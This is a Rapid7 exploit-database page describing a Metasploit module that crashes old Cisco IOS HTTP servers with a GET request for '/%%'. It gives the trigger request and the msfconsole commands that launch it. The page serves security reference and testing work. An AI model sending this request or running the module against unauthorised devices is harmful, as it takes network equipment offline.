Rapid7 Vulnerability & Exploit Database

Cisco IOS HTTP GET /%% Request Denial of Service

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Cisco IOS HTTP GET /%% Request Denial of Service



This module triggers a Denial of Service condition in the Cisco IOS HTTP server. By sending a GET request for "/%%", the device becomes unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P.


  • aushack <patrick@osisecurity.com.au>


Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/dos/cisco/ios_http_percentpercent
msf auxiliary(ios_http_percentpercent) > show actions
msf auxiliary(ios_http_percentpercent) > set ACTION < action-name >
msf auxiliary(ios_http_percentpercent) > show options
    ...show and set options...
msf auxiliary(ios_http_percentpercent) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.

– Jim O’Gorman | President, Offensive Security